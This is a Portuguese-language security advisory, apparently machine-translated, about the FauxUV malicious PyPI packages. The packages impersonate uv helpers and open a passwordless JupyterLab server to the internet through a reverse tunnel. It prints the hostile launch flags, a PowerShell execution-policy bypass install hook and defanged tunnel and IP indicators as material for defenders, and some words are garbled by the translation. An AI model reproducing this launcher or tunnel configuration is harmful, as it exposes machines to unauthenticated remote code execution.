TL, DR
Um conjunto de pacotes PyPI adotou o nome de uv, o gerenciador de pacotes Python baseado em Rust, rápido e extremamente popular, para se passar por auxiliares do uv. Eles praticamente não oferecem nenhuma funcionalidade real. Em vez disso, carregam um payload do Windows que inicia um Servidor JupyterLab com autenticação desativada e, em versões posteriores, publica-o na internet pública através de um túnel reverso.
Essa é a história completa em uma frase: Usar o nome de uma ferramenta confiável como isca e o JupyterLab como mecanismo de execução remota de código. Um servidor Jupyter executa qualquer código que você digitar em uma nota.ebook célula; uma iniciada com um token vazio e vinculada a cada interface de rede é um interpretador aberto que qualquer pessoa que consiga acessar a porta pode executar.
Acompanhamos o cluster como FauxUVOs dois pacotes examinados são moon-uv (0.0.1 – 0.0.16) e my-magic-uv-helper (0.0.1), publicado pelo mesmo operador e disponível no PyPI no momento da análise.
| Ecossistema | PyPI |
| PACOTES | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Plataforma direcionada | Windows |
| Comportamento central | Servidor JupyterLab não autenticado, publicado na internet através de um túnel reverso. |
| Ferramentas legítimas são usadas indevidamente. | uv, JupyterLab, cloudflared, Pinggy |
A isca: um nome em que você já confia.
uv é uma das ferramentas Python mais instaladas nos últimos dois anos, portanto, “um auxiliar para uv"É um pacote que um desenvolvedor instala sem pensar duas vezes. O FauxUV baseia toda a sua credibilidade nesse nome. Os pacotes encapsulam o genuíno uv O instalador da Astral — os URLs no payload apontam para hosts reais e confiáveis — portanto, uma rápida olhada revela apenas referências fidedignas. Nenhum dos pacotes adiciona nada. uv funcionalidade; o nome é toda a farsa.
JupyterLab como mecanismo RCE
O elemento central da carga útil é um lançador que inicia o JupyterLab com todas as restrições removidas:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Cada bandeira remove uma proteção, e o manuscrito enviado até as anota (no chinês original): o token vazio “Desativa as verificações de senha e token — qualquer pessoa pode se conectar.” JupyterLabGenericName é um IDE legítimo para ciência de dados, mas não éebook A célula executa código arbitrário por design. Configurada desta forma e vinculada a 0.0.0.0, deixa de ser uma IDE e se torna um shell remoto não autenticado no host — nenhum binário de malware personalizado é necessário, apenas uma ferramenta convencional apontada na direção errada.
Duas peças de apoio tornam isso alcançável e repetível:
- Um gatilho de instalação silencioso. As versões iniciais executavam o PowerShell com -ExecutionPolicy Bypass direto de setup.py on instalação de pip, em segundo plano com erros suprimidos, então pip Parece normal. Versões posteriores movem o mesmo primitivo para um pip-uv ferramenta de linha de comando — e eliminar completamente a execução automática durante a instalação.
- Um túnel público invertido. Um servidor em 0.0.0.0 ainda só é acessível por hosts que podem rotear para a máquina. Um módulo incluído abre um [Pinggy](https://pinggy.io/) Túnel reverso SSH que encaminha a porta Jupyter local para um endereço público, removendo essa limitação. O script fornecido também inclui — comentado — um caminho alternativo usando o Cloudflare. nuvem flamejante e uma netsh Roteamento de porta para um endereço IP da Linode, documentando o mesmo objetivo através de infraestrutura diferente.
Em resumo: instale o pacote e um host Windows acabará executando um JupyterLab sem senha e publicando-o na internet aberta.
Como o FauxUV evoluiu
As versões do FauxUV foram enviadas em rápida sucessão, e o ponto de ativação da carga útil mudou entre elas — um lembrete de que uma única versão sinalizada raramente conta toda a história de uma linha de produtos.
| Etapa | versões | Gatilho | O que isso acrescenta |
|---|---|---|---|
| Gancho de instalação | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py ao instalar o pip | Instalação UV + prefixo PATH |
| Tempo de execução da CLI | moon-uv 0.0.5-0.0.13 | pip-uv comando | o iniciador do JupyterLab sem senha |
| Túnel | moon-uv 0.0.14-0.0.16 | pip-uv comando | um túnel reverso Pinggy ativo |
Notavelmente, a execução automática durante a instalação era afastado nas versões posteriores, mais capazes — portanto, um scanner que se baseia apenas no ciclo de vida hooks avaliaria os lançamentos mais recentes como menos Arriscado, exatamente ao contrário.
Indicadores de compromisso
Confirmado pela leitura do código-fonte do pacote; pontos de extremidade marcados. comentou Estão presentes nos arquivos, mas não são executados pela versão analisada. Os indicadores de rede estão desativados.
| Formato | Indicador |
|---|---|
| Comando de instalação | powershell -ExecutionPolicy Bypass Buscando o instalador UV genuíno, no momento da instalação do PIP. |
| Sinalizadores do JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Túnel reverso (ativo) | free[.]pinggy[.]io:443 encaminhamento local 127.0.0.1:8888 |
| Host do túnel (comentado) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (comentado) | 45[.]79[.]134[.]161 (Linode) via netsh port-proxy |
| Persistência | prefixos %USERPROFILE%\.local\bin para o caminho do usuário |
Sinais comportamentais que merecem atenção, independentemente dessas sequências específicas: a instalação de pip que gera PowerShell -ExecutionPolicy Bypass; algum Jupyter lançamento combinando token=”” com as –ip=0.0.0.0e SSH de saída para *.pinggy.io de uma máquina de desenvolvimento ou de integração contínua.
Comportamento observado e proveniência
Os dois pacotes compartilham um autor e um método: o nome de uma ferramenta confiável, restrições exclusivas para Windows, execução em segundo plano com supressão de erros e dependência de ferramentas de boa reputação, de modo que uma rápida verificação mostre apenas URLs confiáveis. O código-fonte contém comentários em chinês que descrevem claramente os indicadores de segurança relevantes; relatamos esses comentários como declarações observáveis no arquivo, e não como uma alegação sobre a motivação. permitir_origem valor e um colab.bat O nome do arquivo reflete os fluxos de trabalho informais de "compartilhar meu ambiente de execução local" que circulam no Google Colab. Seja qual for a origem, o resultado final é o mesmo.
Impacto e orientação para defensores
Quem está exposto à FauxUV? Desenvolvedores Windows e executores de CI que instalação de pip um desses pacotes. Um JupyterLab sem senha em 0.0.0.0 É a execução remota de código para qualquer pessoa que consiga acessar a porta; o túnel remove a limitação de "quem consegue acessar". O servidor é executado como o usuário que o instalou, herdando os arquivos, tokens e credenciais de nuvem desse usuário.
Por que é tão fácil não perceber. Cada cadeia de rede aponta para um host confiável — Astral, JupyterLab, nuvem flamejantePinggy, Colab. Não há binário de malware para gerar hash nem blob ofuscado para decodificar. As varreduras baseadas em reputação e assinatura subestimam isso, e é por isso que a questão comportamental — O que a instalação deste pacote faz com a máquina? — é quem o apanha.
Orientação:
- Trate qualquer tempo de instalação PowerShell -ExecutionPolicy Bypass como um sinal de interrupção de compilação, qualquer que seja a URL que ela buscar.
- Alerta em Jupyter lançado com um token vazio e –ip=0.0.0.0Essa combinação nunca deve aparecer em uma estação de trabalho ou em um ambiente de execução.
- Monitore os provedores de túnel SSH de saída (*.pinggy.io, *.trycloudflare.com) de ambientes de desenvolvimento e CI.
- Instale uv da [sua fonte oficial](https://docs.astral.sh/uv/) e desconfie de pacotes "auxiliares" de terceiros que encapsulam uma ferramenta que já é trivial de instalar.
- Fixar e rever as dependências na atualização — uma linha de pacote pode ganhar novas funcionalidades versão após versão.



